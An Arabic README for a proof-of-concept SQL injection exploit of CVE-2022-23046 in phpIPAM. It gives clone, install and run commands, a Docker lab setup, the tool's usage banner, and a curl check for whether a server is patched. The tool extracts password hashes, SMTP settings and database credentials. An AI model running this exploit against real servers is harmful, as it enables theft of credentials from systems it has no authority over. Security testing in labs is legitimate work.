
إثبات مفهوم لاستغلال CVE-2022-23046، وهي ثغرة حقن SQL مصادق عليها في PhpIPAM الإصدار 1.4.4. يستخرج معلومات الخادم، وإعدادات SMTP، وتجزئات المستخدمين، وبيانات اعتماد قاعدة البيانات عبر نقطة النهاية edit-bgp-mapping-search.php.
الاكتشاف الأصلي وإثبات المفهوم اليدوي (PoC) من Fluidattacks:
يسمح PhpIPAM v1.4.4 لمستخدم إداري مصادق عليه بحقن جمل SQL في وسيط "subnet" أثناء البحث عن شبكة فرعية عبر app/admin/routing/edit-bgp-mapping-search.php.
ينفذ إثبات المفهوم هذا بعض هجمات SQLi السهلة لجلب معلومات مثل:
بعض هذه المعلومات يمكن الوصول إليها عبر الواجهة الخلفية، لكنني أضفتها هنا فقط كطريقة سهلة لجلب كل البيانات في استعلام واحد. لا تتردد في إضافة/إزالة الحمولات الخاصة بك.
للأمور الأكثر تقدماً، أنشئ حمولاتك الخاصة (في res.payloads)، أو استخدم burpsuite أو sqlmap.
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

لقد اختبرت إثبات المفهوم هذا على إصدارات مختلفة من phpipam: 1.4.3 و1.4.4 و1.5، وعمل بشكل جيد (وليس فقط الإصدارات الأقدم من 1.4.5). عند مراجعة مشروع phpipam على GitHub، رأيت أن الالتزام (commit) 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d يؤثر أيضاً على الإصدار 1.5.
تحقق مما إذا كان ملف CHANGELOG متاحاً ويحتوي على تعليق حول هذا الإصلاح، وإلا فقد يكون خادم phpipam عرضة للثغرة.
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"